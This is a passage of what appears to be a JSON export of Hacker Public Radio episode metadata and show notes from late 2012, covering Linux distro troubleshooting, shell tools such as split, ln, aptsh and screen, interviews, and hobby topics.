      Now a little bit on how I got in this\nmess. As I said, the Dell shipped with 10.04, but I wanted something\nless pedestrian than Ubuntu (ironic I wound up there anyway). I tried\nHybride, but once again, like my trial on the P4 I mentioned on\nLinuxBasix, the Live CD booted, but the icons never appeared on the\ndesktop (I think it's a memory thing, the Dell only shipped with a\ngig, shared with the integrated video). After Hybride, I really\nwanted to be one of the cool kids and run SolusOS, but the install\nhung twice transferring boot/initrd.img-3.3.6-solusos. I casted\naround for a 64bit ISO I had on hand, and remembered I'd really\nwanted to give Fuduntu a try. Fuduntu is a rolling release fork of\nFedora, with a Gnome 2 desktop, except that the bottom bar is\nreplaced with a Mac style dock, replete with bouncy icons (cute at\nfirst,but I could tell right away they would get on my nerves).\nHowever, I found I liked the distro, despite the fact I found the\ndefault software choices a little light for a 900Mb download (Google\nOffice, Chromium, no Firefox, no Gimp). Worst of all, no Mumble in\nthe repos at all (really Fuduntu guys? While trying to install\nMumble, do you know how many reviews I found that can be summed up as\n"Fuduntu is great, but why is there no Mumble?").\nUnfortunately, I put Mumble on the back burner while I installed and\nconfigured my default set of comfort apps from the repos (Firefox,\nXChat, Gimp, VLC, LibreOffice, etc). [BTW, with the anticipated\narrival of a 2.4ghz headset, I hope to be able to use the new machine\nto join the LUG/podcast while preparing and dare I say eating\ndinner.] \n

      \n


      \n

      \n

      I visited the Mumble installation page\non SourceForge, and found they no longer linked to .deb files and\nfedora .rpms, as they assume you can install from your repositories.\nThinking someone must have found an easy solution, I hit Google. The\nbest answer I found was a page on the Fuduntu forums\n(https://www.fuduntu.org/forum/viewtopic.php?f=21&t=2237 ), that\nsuggested downloading the Mumble and a dozen prerequisite library\n.rpm's from a third party site called rpm.pbone.net. I visited\npbone.net, and found when I looked up each library, I got a dozen\ndifferent links to versions of the file. Then I saw a link that\nseemed to offer the promise of simplifying my task, if I subscribed\nto pbone.net, I could add their whole catalog as a repo. While\nresearching the legitimacy of pbone.net, I found them mentioned in\nthe same sentence as RPMFusion as an alternate repository for Fedora.\nI decided to install the RPMFusion repos as well, thinking I might\nfind some of the needed libraries in there. I registered with pbone,\nand discovered I would only have access to their repository for 14\ndays free, after which it would cost $3 a month (after all, hosting\nsuch a service must cost money). I figured the free trial would at\nleast get Mumble installed, and went through the set up. Among the\nquestions I had to answer were which Fedora version I was running (I\npicked 17, since Fuduntu is rolling) and 32 or 64 bit. pbone.net\ngenerated a custom .repo file to place in my /etc/yum.repos.d\ndirectory. At this time, I'd already set up RPMFusion. \n

      \n


      \n

      \n

      The fun started when I ran 'yum\nupdate'. I got "Error: Cannot find a valid baseurl for repo:\nrpmfusion-free". It turns out (\nhttps://optics.csufresno.edu/~kriehn/fedora/fedora_files/f10/howto/repositories.html\n) the location of the RPMFusion servers are usually commented out in\nthe .repo files, Fedora must know where they are, but I guess Fuduntu\ndoes not. I uncommented each of the baseurl statements (there are\nthree) in each of the RPMFusion .repo files (there are four files,\nfree, non-free, free-testing, and non-free testing). I then re-ran\n'yum update', this time I was told the paths for the RPMFusion\nbaseurl's didn't exist. I opened up the path in a browser and\nconfirmed it was indeed wrong. I pruned sub directories from the path\none by one until I found a truncated url that actually existed on the\nRPMFusion FTP server. I looked at the .repo files again and figured\nout the paths referenced included global environment variables the\nwere inconstant between Fedora and Fuduntu. For instance, $release in\nFedora would return a value like 15, 16, or 17, where in Fuduntu it\nresolves to 2012. I figured if I took the time, I could walk up and\ndown the FTP server and come up with literal paths to put in the\nRPMFusion .repo files, but instead I just moved the involved .repo\nfiles into another folder to be dealt with another day. \n

      \n


      \n

      \n

      I again launched 'yum update'. This\ntime had no errors, but I was getting an excessive amount of new\nfiles from my new pbone.net repo ('yum update' updates your sources\nand downloads changed files all in one operation). It's possible the\nrolling Fuduntu is closer Fedora 16, so when I told pbone.net I was\nrunning 17, all the files in the alternate repo were newer than what\ni had. In any case, I had no wish to be dependent of a repo I had to\nrent at $3 a month, so I canceled the operation, admitted defeat, and\nstarted downloading the 64bit version of Lubuntu. I know I said I\nwould rather have a more challenging distro, but because of it's\nlocation, this needs to be a just works PC, not a hack on it for half\na day box. I would have like to have given Mageia, Rosa, or PCLinuxOS\na shot, but too many packages from outside the repos (case in point,\nHulu Desktop) are only available in Debian and Fedora flavors. You\nknow the rest, I installed Lubuntu, borked my Grub, loop back to the\ntop of the page.

      \n","hostid":131,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"linux,distributions ","version":0,"downloads":4296,"valid":1}, {"id":1107,"date":"2012-10-30","title":"Compilers Part 3","duration":628,"summary":"The semantic analysis stage of compilation","notes":"miscellaneous radio theater 4096\n
      \nIn this multipart episode sigflup describes the semantic analysis stage of a compiler.\n","hostid":115,"series":84,"explicit":1,"license":"CC-BY-SA","tags":"compiler,semantic analysis ","version":0,"downloads":2246,"valid":1}, {"id":1108,"date":"2012-10-31","title":"What's In my Bag?","duration":540,"summary":"We examine the contents of Mike's bag","notes":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
      KitDescription
      \n\n\"My
      My Backpack\n\n
      My Backpack - note the HPR Badge - this is the bag I take to work every day.
      \n\n\"\"
      My Acer Aspire netbook\n\n
      This is a refurbed type unit I got from the Acer Direct.
      \n\n\n\"My
      My Kindle 2\n\n
      This kindle was a birthday present from Rachel, last year. She knows me so well :)Its loaded with a load of ebooks from the great folks at O'reilly.The case for this was from Tesco
      \n\n\n\"My
      My Car-pod ipod\n\n
      When I upgraded cars the biggest disappointment for me was that going from a Kia Cee'd , where I could plug in USB keys with pod-casts on - I now no longer had a USB port in my SEAT. Rachel bought this for me from CEX. I've replaced the firmware with rockbox.
      \n\n\n\"My
      My newest iPod\n\n
      My newest iPod - this used to belong to my Rachel, but the screen has started to go - She looked at getting it repaired - pricey as it is out of the warranty period - so she got herself a new one (cue a long process of me transferring her songs to the new iPod :() and I acquired her old one. I have replaced the Apple firmware with rockbox, and it works great under Linux.
      \n\n\n\"My
      My 2GB USB Key\n\n
      This key contains nothing (at the moment) apart from a design for a leaving cake (Keep calm and Google it) and a file called ldlinux.sys, left over from the previous contents.\n\n\n\"Google
      Google cake\n\n
      \n\n\n\"\"
      My Conference Folio\n\n
      This is a pleather folio I picked up ages ago from I know now where - probably before Opal Telecoms was bought by TalkTalk. Currently the old web address (www.opal.co.uk) seems to redirect to opal-solutions.com which seems to redirect to TalkTalk, only it actually doesn't work.
      \n\n\n\"My
      I keep an Oxford pad (i like the paper) in here.\n\n
      I keep an Oxford pad (i like the paper) in here.
      \" src=\"https://titaniumbunker.com/wp-content/uploads/2012/10/WirelessNotebookOpticalMouse4000_Large1-300x266.jpg\" alt=\"\" width=\"300\" height=\"266\" /> My Microsoft mouse was missing from my bag, as I had been using it with my Raspberry Pi - but it's like this. 
      \n","hostid":185,"series":23,"explicit":1,"license":"CC-BY-SA","tags":"backpack,Acer Aspire,Kindle,iPod,Rockbox ","version":0,"downloads":2402,"valid":1}, {"id":1109,"date":"2012-11-01","title":"Astricon 2012 - Virtues of the Open Source Telephony Platform","duration":3037,"summary":"A conversation recorded at Astricon","notes":"

      \n\nHost - sunzofman1 -> https://bkaeg.org/blog\nGuests - Randy Resnick, Allison Smith, Eric Ostenberg, Kevin Bushong\n

      \n

      \nRandy discusses the history of the VUC (VoIP Users Conference)-> https://vuc.me\nEarly Talkshoe days (RIP Talkshoe), pre-dates mumble servers.\nAllison (voice of Asterisk) explains how she got involved with the telephony and asterisk in general.\nShe graciously authenticates herself with a genuine echo test ;-)\t\nEric and Kevin wax poetic about their early experiences with telcos and telephony.\nEveryone talks about some of the useful features and applications within Asterisk.\n

      \n\n
        \n
      • DISA\n
      • \n
      • chan_dahdi\n
      • \n
      • SIP\n
      • \n
      • g722 codec\n

        \nWe later get into what we believe asterisk will become in the future.\n

        \n
      • \n
      • Supplement GSM networks\n
      • \n
      • Automobile telematics (sunzofman1 has a special place in his heart for telematics)\n

        \nHost encourages everyone to contribute a HPR show! \n
      • \n
      ","hostid":158,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"Astricon,Asterisk,VOIP ","version":0,"downloads":2359,"valid":1}, {"id":1110,"date":"2012-11-02","title":"The Doctor Who Restoration Team","duration":469,"summary":"The restoration of old Doctor Who episodes","notes":"

      \nIn this episode I talk about the team of people behind the restoration of old Doctor Who episodes and some of the techniques used to make 40 year old telly look as good as new.\n

      \n

      \nThe team's website with lots of in depth info: \nhttps://www.restoration-team.co.uk/\n

      \n

      \nSome Wikipedia pages with more info: \nhttps://en.wikipedia.org/wiki/Doctor_Who_Restoration_Team\nhttps://en.wikipedia.org/wiki/Tele-snaps\n

      \n

      \nMusic was me messing about with Zynaddsubfx and a USB MIDI keyboard. Sounded a bit like 80s Who.\nContact me at aukondk.com\n

      ","hostid":191,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Doctor Who","version":0,"downloads":3157,"valid":1}, {"id":1111,"date":"2012-11-05","title":"HPR Community News October 2012","duration":7392,"summary":"HPR Community News October 2012","notes":"\n

      Featuring

      \n

      \naparanoidshell
      \nbobobex
      \ncorenominal
      \nEpicanis
      \nFiftyOneFifty
      \nKen Fallon
      \nKT4KB-Jon\n

      \n\n

      New hosts

      \n

      Welcome to our new hosts: \n\nbobobex, and\nDave Morriss\n

      \n\n

      Show Review

      \n\n\n\n\n\n\n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n
      id\ntitle\nhost\n
      1086HPR Community News September 2012HPR Admins
      1087The FSCONS of Jonas ÖbergSeetee
      1088Penguicon 2012Ahuka
      1089Max Mether of SkySQL talks about MariaDBVarious Creative Commons Works
      1090TGTM Newscast for 10/2/2012deepgeek
      1091Useful Vim PluginsDave Morriss
      1092Ham Radio: The Original Tech Geek PassionMrGadgets
      1093Separate Presentation from Content - 2 Office SoftwareAhuka
      1094Linux, Beer, and Who Cares?FiftyOneFifty
      1095TGTM Newscast for 2012/10/07deepgeek
      1096KeepassXFrank Bell
      1097The Cyberunions PodcastVarious Creative Commons Works
      1098My Journey to Geekdombobobex
      1099compilers part 2sigflup
      1100Why Android Tablets Suck Part2MrGadgets
      1101Recovery of an (en)crypted home directory in a buntu based systemFiftyOneFifty
      1102Speech ImpedimentsDoorToDoorGeek
      1103Thoughtkindness: In Defense of Media FreetardationEpicanis
      1104TuxJam: Episode 15Various Creative Commons Works
      1105TGTM Newscast for 10/24/2012deepgeek
      1106Of Fuduntu, RescaTux (or the Farmer Buys a Dell)FiftyOneFifty
      1107Compilers Part 3sigflup
      1108What's In my Bag?Mike Hingley
      1109Astricon 2012 - Virtues of the Open Source Telephony PlatformVarious Creative Commons Works
      1110The Doctor Who Restoration TeamAukonDK
      \n\n

      Other News

      \n

      Only about one third of the downloads are OGG so if you are freedom lover change over to the ogg feed.
      \nhttps://hackerpublicradio.org/hpr_ogg_rss.php\n

      \n

      Apologies again to BuyerBrown for the show mixup.\n

      \n

      FOSDEM - HPR/Podcast table

      \n

      \nIf anyone is going to FOSDEM (https://fosdem.org/2013/ and would be interested in covering a booth, please get in touch with admin at hpr
      \nThis also counts for other podcasters who want to share a table.\n

      \n

      Reshaping HPR

      \n

      \nThere has been a lot of activity on the mail list this month about changes to the scheduling rules and about the upload formats. \n

      \n

      \nPlease start by (re)listening to 0560 - Old soldiers | 2010-08-02\n

      \n

      \nAs we didn't have shows to fill the feed, we introduced other Non-HPR exclusive content to fill the gaps.
      \nAs contributions increased this resulted in a long delay in getting the HPR exclusive content out.
      \nThe rest can be read via manually created mail archive https://hackerpublicradio.org/archive/hpr-at-hackerpublicradio.org_2012-10-archive.pdf\n

      \n

      \nThere is also a discussion about changing the upload to FLAC only\n

      \n

      Dev News

      \n

      \nThe cpanel website is giving problems and Josh is working to get them fixed. \n

      \n

      mordancy pointed out that we didn't have a full feed for the ogg and spx. So after thinking about it for too long these have also been added.\n

      \n

      \nWe made some clean up to the website so please have a look around and report anything out of the ordinary.\n

      \n

      \nEpicanis has been working on a upload form which can be found https://hpr.dogphilosophy.net/hprup.php\n

      \nThe gitorious page can be found https://gitorious.org/hpr-scheduling-system\n

      \n

      \nThe rest can be read via manually created mail archive https://hackerpublicradio.org/archive/dev-at-hackerpublicradio.org_2012-10-archive.pdf\n

      \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":2439,"valid":1}, {"id":1112,"date":"2012-11-06","title":"LiTS 017: split","duration":1463,"summary":"Split a file into pieces with the split command","notes":"

      \nDann makes a welcome return with his podcast, blog and video entry over at https://www.linuxintheshell.com/2012/11/06/episode-017-split/

      \n

      \nThe split command is used to split up a file into smaller files. For example, if you need to transfer a 3GB file but are restricted in storage space of the transfer to 500 MB you can split the 3GB file up into about 7 smaller files each 500MB or less in size. Once the files are transferred restoring them is done using the cat command and directing the output of each file back into the master file:
      \n
      \nsplit -b500M some3GBfile\n
      \n

      \n

      \nPlease visit his site for more splitty goodness

      \n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"split","version":0,"downloads":2968,"valid":1}, {"id":1113,"date":"2012-11-07","title":"TermDuckEn aptsh - screen - guake","duration":633,"summary":"A look at running apt shell inside screen inside guake","notes":"

      I recently discovered apt shell\n(aptsh), a psuedo shell which gives users of distributions which use\napt for package management quick access to the functionality of\napt-get. You should find aptsh in the repositories of Debian based\ndistros. Once installed, you can launch 'aptsh' as root from the\ncommand prompt (i.e. 'sudo aptsh').

      \n


      \n

      \n

      \nOne of the drawbacks of installing software from the terminal is that\nsometimes you don't know the exact name of the package you want to\ninstall. From the aptsh> prompt, 'ls' plus a search string will\nshow all the packages that have that string in their names. You can\ntype 'install' plus a partial package name and use TAB completion to\nfinish the instruction. The function of the 'update' and 'upgrade'\ncommands are self explanatory, unfortunately, you can't string them\ntogether on the same line like you can in bash:

      \n


      \n

      \n

      sudo apt-get update && sudo\napt-get -y safe-upgrade \n

      \n


      \n

      \n

      Instead, you use the backtick [ ` ] key\nto put aptsh into queue mode. In queue mode, you can enter commands\none by one to be launched in sequence at a later time. To bring your\nsystem up to date, you could run:

      \n


      \n

      \n

      aptsh> ` \n

      \n

      * aptsh> update \n

      \n

      * aptsh> upgrade \n

      \n

      * aptsh> ` \n

      \n

      aptsh> queue-commit-say yes \n

      \n


      \n

      \n

      Backtick toggles queue entry, and\nqueue-commit runs the queue. “queue-commit-say y” tells aptsh to\nanswer in the affirmative to any queries from the commands executed\nin the queue in much the same way “apt-get -y safe-upgrade”\nconfirms software updates without user interaction. Apt shell is\ncapable of other apt related tasks, but I think I've covered the most\nuseful ones.

      \n


      \n

      \n

      The trouble with running aptsh is that\nunless you start it in a terminal with the computer and leave it\nrunning all day (as opposed to opening it as a new shell within you\nterminal every time you want to update or install), despite the\nconvienience of package name search and TAB completion, it really\nwon't save you any keystrokes. With that in mind, I started looking\nfor ways to have the apt shell available at a keystroke (we will\nleave the wisdom of leaving a shell open with a subset of root\nprivileges for another day). I had guake installed, but rarely used\nit because I usually have multiple terminal tabs open since I am\nlogged into my server remotely. [Actually, I had forgotten guake\nsupports tabbed terminals quite well. You can open a new tab with\n<Shift><Ctrl>T and switch between terminal tabs by\n<Ctrl><PgUp> and <Ctrl><PgDn> or clicking\nbuttons that appear at the bottom of the guake window. I had how,\nforgotten this until doing further research on this story. Since\nthis revelation ruins my story, we will forget about tabbed terminal\nsupport in guake and not mention it again.]

      \n


      \n

      \n

      I am also going to assume everyone is\nfamiliar with guake. If not, suffice it to say guake is a terminal\nthat pops down in the top third of the screen when you hit a hotkey,\n<F12> being the default. It returns to the background when you\npress <F12> again or click the lower part of the desktop. It\nis patterned after the command shell in the game Quake that let you\ninput diagnostic and cheat codes, hence the name. Since I wasn't\nusing guake as a terminal anyway, I wanted to see if I could make it\nrun apt shell by default. I found you can access guake's graphical\nconfiguration manager by right clicking inside the open terminal and\nselecting preferences. \n

      \n


      \n

      \n

      On the first preferences tab, I found\n“command interpreter”, but since aptsh is only a pseudo shell, it\nisn't found in the dropdown list. However, one option was “screen”,\nwhich would give me a way to run multiple terminals that I thought\nguake lacked. Next, I had to look up how to configure screen. I\nfigured there must be a way to make screen run aptsh in one session\nby default, and I found it. In the show notes I've included my\n.screenrc file from my home folder, which I make with the help of\nthis article from the online Red Hat Magazine: \n

      \n

      https://magazine.redhat.com/2007/09/27/a-guide-to-gnu-screen/

      \n


      \n

      \n

      **

      \n


      \n

      \n

      hardstatus alwayslastline \n

      \n

      hardstatus string '%{= kG}[ %{G}%H\n%{g}][%= %{=kw}%?%-Lw%?%{r}(%{W}%n*%f%t%?(%u)%?%{r})%{w}%?%+Lw%?%?%=\n%{g}][%{B}%Y-%m-%d %{W}%c %{g}]' \n

      \n

      # Default screens \n

      \n

      screen -t shell1 0 \n

      \n

      screen -t apt-shell 1 sudo\naptsh \n

      \n

      screen -t server 2 ssh\n5150server

      \n

      screen -t laptop 3 ssh\n5150@Redbook \n

      \n


      \n

      \n

      **

      \n


      \n

      \n

      The first two lines set up the screen\nstatus line, the first puts it at the bottom of the terminal, the\nsecond sets up the status line to display the hostname and date, and\nan indicator that highlights which screen windows you are looking at.\n The # Default screens section below sets up sessions screen opens by\ndefault. The first line opens up a regular terminal named “shell1”\nand assigns it to session zero. The second opens a window called\n“apt-shell” (this is how it's identified on the status line) and\nlaunches apt shell. The last two log me into my server (host name\naliasing made possible by configuring my homefolder/.ssh/config ,\nthanks Ken Fallon) and my laptop running Fedora respectively. I\nstill have to cycle through your screen windows and type in my\npasswords for sudo and ssh. The configuration could be set up to\nlaunch any bash command or script by default. The cited article\ndoesn't include any more configuration tips, but I'm certain there\nare ways to set up other options, such as split windows by default. \n

      \n


      \n

      \n

      Since I also run screen on my remote\nconnection to my server, I have to remember the command prefix is\n<Crtl>a,a. Ergo, if I want to move to the next window in the\nscreen session (running under guake) on the local PC, the command is\n<Ctrl>a, then n. To go to the next screen window in the screen\nsession on my server, running inside another screen session on my\nlocal PC, it's <Ctrl>a,a,n. \n

      \n


      \n

      \n

      So, that's how I learned to run apt\nshell inside screen inside guake. I can be contacted at\nFiftyOneFifty@linuxbasement.com\nor by using the contact form on TheBigRedSwitch.DrupalGardens.Com

      ","hostid":131,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"aptsh,screen,guake ","version":0,"downloads":2519,"valid":1}, {"id":1114,"date":"2012-11-08","title":"DudmanoviPodcast Episode 7 - A geeks Journey to nature","duration":3700,"summary":"DudeMan's Journey, part 7","notes":"

      Feature

      \n

      10 years compressed into perhaps an hour, how an English computer programmer ended up owning cows/horses/pigs/chickens and speaking Czech ? And after all this time, is still into tech, but is perhaps a little more discerning. What started it all Free-And-Opensource, YES

      \n

      Updates

      \n
        \n
      • Got locked out of wordpress blog,
      • \n
      • Still waiting for the new cow, hasn’t been delivered yet.
      • \n
      • Work continues to fix the house, been making some brick arches in an old chimney, first one fell down, but I rushed removing the support and then poked it to much at the edge, 2nd one looks good \":)\"
      • \n
      • Wife had a bit of a panic this week, for 10 seconds
      • \n
      • The Guinea pig is hard to catch, Mr’s BB, we’ll catch him.
      • \n
      • Understanding derived distros Debian and Ubuntu and its derivatives, wishing to make an informed choice.
      • \n
      \n

      Links mentioned

      \n

      The place I stayed at for 4/6 months and had a great experience, learnt alot falconblanco.com

      \n

      Healthy food, as ever at westonaprice.org

      \n

      linuxbasix.com Forums posts on my thoughts,trying to understand distros

      \n

      \nhttps://dudmanovi.cz/
      \nhttps://feeds.feedburner.com/DudmanoviBlogAboutEverything
      \nhttps://feedproxy.google.com/~r/DudmanoviBlogAboutEverything/~5/RaYoYa6UWx8/Dudmanovi.cz-007-20121007.mp3\n

      \n","hostid":158,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"Dudmanovi podcast ","version":0,"downloads":2516,"valid":1}, {"id":1115,"date":"2012-11-09","title":"TGTM Newscast for 11/07/2012","duration":1625,"summary":"A newscast from Talk Geek to Me","notes":"

      Here is a news review:

      \n\n

      Other Headlines:

      \n\n

      News from \"thestand.org,\" \"perspectives.mvdirona.com,\"  and \"allgov.com\" used under arranged permission. News from \"torrentfreak.com\" and \"eff.org\" used\nunder permission of the Creative Commons by-attribution license. News from \"venezuelanalysis.com,\" and \"democracynow.org\" used under permission of the Creative Commons\nby-attribution non-commercial no-derivatives license. News Sources retain their respective copyrights.

      \n

      Links

      ","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM ","version":0,"downloads":2609,"valid":1}, {"id":1116,"date":"2012-11-12","title":"Interview with Richard Stallman","duration":5272,"summary":"Interview with Richard Stallman","notes":"

      \nHoly cow! I just interviewed RMS! Check it out.\n

      \n

      \nI tried to conduct a friendly interview with Richard here. Every time I've heard him interviewed before, it's been pretty hostile, and I didn't want that. That doesn't mean that I only asked him softball questions, but I didn't get in his face about anything, and I gave him the time he needed to explain his answers fully. I hope I did a good job of making Mr. Stallman feel welcome at Hacker Public radio, and I hope the interview is as enjoyable to listen to as it was to record. His views on Free Software are pretty well known, so I tried to cover some things that I've never heard Richard's opinoins on as well. I KNOW... I missed some pretty obvious followup questions. I realized most of them while editing. I'm sorry. The good news is that RMS is pretty accessable, and you can probably get him to do a followup interview that we'll publish right here on hackerpublicradio.org . \n

      \n

      \nLinks from this episode: \n

      \n\n\n\n

      \nI want to thank the following people who helped in the production of this episode:\nRichard for the interview itself. It was a real pleasure. I hope we can do it again sometime.\nMartin Dluhos, Richard's assistant, for setting up mumble on an FSF computer, and handeling the scheduling, etc... \nirc.freenode.net #oggcastplanet for all of the great questions and inspiration. You guys rock (as always)! I wish I had thought to write down who each question belonged to. Sorry about that.\nDoor-to-door-geek, and the Linux Basix podcast for the use of their mumble server.\nNeil Dudeman and the other guys who listened live for the support and some more great questions.\nBroam (a.k.a. Brian, NOT Bryan with a why) for being a good friend, and trying to get home in time to co-host. Happy Birthday, buddy.\n

      \n

      \nAdditional media used in this episode:\n

      \n\n
        \n
      • MooGNU by the anonymous posters on the 4chan technology image board /g/ is licensed under the Creative Commons Attribution-ShareAlike 3.0 Unported License.\n
      • \n
      • The Free Software Song by the band Fenster\nboth can be found via https://www.gnu.org/music/free-software-song.html\n
      • \n
      \n\n

      \nSome people enjoy finding mistakes. For their enjoyment (and because I was up 'til 3:00 am finishing this) I have included a few.\n

      \n\n

      \n\"Creative
      Interview with Richard Stallman by pokey is licensed under a Creative Commons Attribution-NoDerivs 3.0 Unported License.
      Based on a work at https://hackerpublicradio.org/eps.php?id=1115.\n

      ","hostid":128,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"interview,Richard Stallman ","version":0,"downloads":3667,"valid":1}, {"id":1117,"date":"2012-11-13","title":"The Wayback Machine-SDF.org","duration":1191,"summary":"Theru, Navigium, and NYbill talk about joining an old school Unix network, SDF","notes":"Theru, Navigium, and NYbill talk about joining an old school Unix network, SDF.\n
      \nhttps://sdf.org/
      \ngopher://sdf.org/0/users/irl/blog/2012-08-22-mosh-in-a-lift.md","hostid":109,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"sdf.org,Unix,Gopher ","version":0,"downloads":2529,"valid":1}, {"id":1118,"date":"2012-11-14","title":"My First Brush With FLOSS: Doom ","duration":386,"summary":"The open sourcing of the game engine behind Doom and its legacy","notes":"

      \nNB: Normal Priority. Not intended as a series, I just liked the pun! (Perhaps others could use the \"brush with Floss\" title for other subjects.)\n

      \n

      \nShow Notes:\n

      \n

      \nIn this episode I talk about the open sourcing of the game engine behind Doom and it's legacy.\n

      \n

      \nUseful Links:\n

      \n\n\n\n

      \nSource ports I mention:\n

      \n\n\n\n

      \nThe music was by Tyler \"Picklehammer\" Pantella for the Freedoom project.\n

      ","hostid":191,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"FLOSS,Doom,Freedoom ","version":0,"downloads":2323,"valid":1}, {"id":1119,"date":"2012-11-15","title":"Spread the Word","duration":509,"summary":"Inspirational stories told on the road","notes":"

      Inspirational stories told on the road

      \n\n

      A few months ago I went on a longer trip, alone in my car. As many podcasters before me, I decided to record an episode. An episode I almost immediately forgot about. Fast forward to a couple of weeks ago, when I once again found the recording. It sounded quite bad, but after some sound wizardry I think it can pass for an HPR show. The content is where it's at, after all.

      \n\n

      Referenses

      \n\n\n\n\n

      How to reach me

      \n\n

      You should follow me and subscribe to All In IT Radio:

      \n\n\n","hostid":192,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"FLOSS,Creative Commons,Cory Doctorow,Science Fiction ","version":0,"downloads":2338,"valid":1}, {"id":1120,"date":"2012-11-16","title":"Jerome Leclanche from the razor-qt project","duration":2246,"summary":"Ken interviews Jerome Leclanche from the Razor-qt project","notes":"

      \nRazor-qt is an advanced, easy-to-use, and fast desktop environment based on Qt technologies. It has been tailored for users who value simplicity, speed, and an intuitive interface. Unlike most desktop environments, Razor-qt also works fine with weak machines.
      \nhttps://razor-qt.org/ Home Page
      \nhttps://github.com/Razor-qt/razor-qt/wiki/ Wiki
      \nhttps://groups.google.com/forum/?hl=en&fromgroups#!forum/razor-qt Mail List\n

      \n

      Razor-qt 0.5.0 is out!

      \n\n

      The Razor-qt team is proud to release version 0.5.0. It is the culmination of all our efforts since our last release in February of 2012.

      \n

      There have been several improvements and added features for 0.5.0, as noted in the Change Log, but the most noticeable are:

      \n
        \n
      • New Appearance GUI for configuring themes
      • \n
      • Several new plugins for added functionality
      • \n
      • Many bug fixes resulting in better performance
      • \n
      • New Notification daemon
      • \n
      \n

      The Razor-qt team would like to thank its staff of 8 members for all the hard work, and the community as well, for all the support. A list of the Razor-qt development team is available here, on github.

      \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Qt,desktop environment,Razor-qt ","version":0,"downloads":2403,"valid":1}, {"id":1121,"date":"2012-11-19","title":"Klaatu continues his Networking Basics series with a SAMBA howto.","duration":2054,"summary":"A SAMBA howto from klaatu","notes":"Klaatu continues his Networking Basics series with a SAMBA howto.\n
      \nhttps://samba.org","hostid":78,"series":61,"explicit":0,"license":"CC-BY-SA","tags":"networking,SMB,CIFS,SAMBA,file server,NFS,AFP ","version":0,"downloads":2523,"valid":1}, {"id":1122,"date":"2012-11-20","title":"LiTS 018: ln","duration":1517,"summary":"Make links between files with the ln command","notes":"

      \nLinux In The Shell aims to explore the use of many commands a user can run in the Bash Shell. Tutorials include a write up with examples, an audio component about the write up, and a video component to demonstrate the usage of the command.
      \nThe website is https://www.linuxintheshell.com/\n

      \n

      \nToday it's the turn of the ln command. The rest of the shownotes and video can be found at
      \nhttps://www.linuxintheshell.com/2012/11/20/episode-018-ln-command/\n\nThe ln command is used to create a link between an existing file and a destination, typically newly created, file. Some operating systems may all this creating a short-cut. Recall that Linux treats everything like a file, thus you can create links to files, directories, or even devices.
      \n
      \nThere are two types of links:
      \n
      \nHard Links: A hard like is a connection where two files share the same inode.
      \nSymbolic Links: A symbolic link is a special file that refers to a different file.\n
      \n

      \n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"ln,hard link,soft link","version":0,"downloads":2787,"valid":1}, {"id":1123,"date":"2012-11-21","title":"Move! Bike Computer","duration":899,"summary":"An Android app to track your bicycle ride","notes":"Frank Bell describes his favorite Android app: Move! Bike Computer.
      \n
      \nMove! Bike Computer use GPS to track your bicycle ride (or your hikes, walks, runs), then computes times and speeds and plots the course on Google Maps. Frank describes how he found it and uses it, then highlights the most important user settings.
      \n
      \nThe free version displays a small ad in the bottom 1/2 inch (1.2 cm) of the screen; the ad-free version costs $1.25.
      \n
      \nScreen shots:
      \n
      \nTrack Display: https://www.pineviewfarm.net/misc/HPR/track.jpg
      \nTrack Display with Stats: https://www.pineviewfarm.net/misc/HPR/move_stats.jpg
      \nSettings Display: https://www.pineviewfarm.net/misc/HPR/move_settings.jpg
      \nMain Screen with Menu Open: https://www.pineviewfarm.net/misc/HPR/move_menu.jpg

      \n
      \n
      \nRelated links:
      \n
      \nDeveloper Site: https://sites.google.com/site/piotrpo/
      \nMove! Bike Computer FAQ: https://sites.google.com/site/piotrpo/home/faq
      \nMove! Bike Computer User Manual: https://sites.google.com/site/piotrpo/home/user-manual
      \nFranks Fuji Sports 10: https://www.pineviewfarm.net/weblog/wp-content/uploads/2011/10/fuji_sport_10-300x205.jpg
      \nhttps://718c.blogspot.com/2010/03/197x-fuji-sports-10.html","hostid":195,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Android,GPS ","version":0,"downloads":2349,"valid":1}, {"id":1124,"date":"2012-11-22","title":"PodBrewers: Episode 35","duration":4716,"summary":"Episode 35 from the PodBrewers podcast","notes":"

      Show 35

      \n

      By Spork released on July 4th, 2012 at 2:03 am
      \nhttps://podbrewers.net

      \n

      Homebrew Off Flavors

      \n\n

      Beer of the Week

      \n

      Buyer: Lagunitas Maximus

      \n

      Spork: Gordon Biersch Märzen

      \n\n

      Food and Brew

      \n

      Buyer: Guinness-Glazed Halibut

      \n

      Spork: Märzen BBQ Ribs

      \n\n

      Beer Vocabulary: mash out

      \n\n

      Beer News

      \n

      Fiftyonefifty: Northern Brewer Contest!!

